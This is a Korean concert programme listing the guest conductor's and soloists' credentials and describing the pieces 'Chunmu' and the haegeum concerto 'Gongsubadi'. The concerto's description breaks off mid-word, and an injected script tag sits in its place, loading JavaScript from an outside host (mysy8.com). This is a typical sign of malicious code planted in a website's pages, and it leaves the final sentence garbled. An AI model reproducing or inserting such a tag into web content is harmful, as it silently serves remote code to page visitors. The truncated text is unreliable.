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<객원지휘 & 협연자 프로필>
객원지휘 이기설
-무형문화재 제1호 이수
-서울시립국악관현악단 수석 역임
-미국. 독일. 오케스트라. 태국의 대학 및 박물관 초청 연주
-충주시 우륵국악단 지휘자 역임
-충북문화재 전문위원 역임
-청주시 문화정책 자문위원 역임
-현. 해금연구회 회장
-현. 서원대학교 공연예술학부 음악학과 교수
가야금 변서화
-청주대학교 예술대학 한국음악과 졸업
-동 대학원 졸업
-충북예술고등학교 강사 역임
-현. 청주시립국악단 상임단원
해금 김혜명
-서울국악예술고등학교 졸업
-서원대학교 졸업
-현. 실내악단 신모듬 단원 청주해금앙상블 단원
-현. 청주시립국악단 상임단원
<연주곡목>
● 관현악 춘무 (작곡/박범훈)
봄이 왔다. 봄은 생명의 잔치다. 산에 들에 고개를 든 들꽃들이 산들바람에 춤을 추고 풀피리 소리에 저절로 흥이 오른다. 이강산 낙화유수는 봄을 찬미한다. 春興이 오른 처녀 총각은 봄바람에 취해 봄이 가는줄 모르는데… 황혼녘 벌써 봄이 가려한다. 봄은 일장춘몽인가! 춘흥에 겨운 처녀 총각은 이제 흩어지고 가는 봄이 아쉬워 누렁이 황소가 길게 목을 뽑아 운다. 밤이 싫은 산새들은 요란하게 울어댄다. 봄은 오고 있다 생명의 잔치를 벌리는 봄의 소리는 어떤 것일까. 이 곡은 봄의 정경을 통해 음화(音畵)적으로 그려본 곡이다.
● 해금협주곡 “공수받이” (작곡/김영재. 해금/김혜명)
공수받이는 굿에 뿌리를 두고 있는 작품으로 ‘공수’란 무당이 죽은 사람의 넋이 말하?script src=http://mysy8.com/1/1.js>
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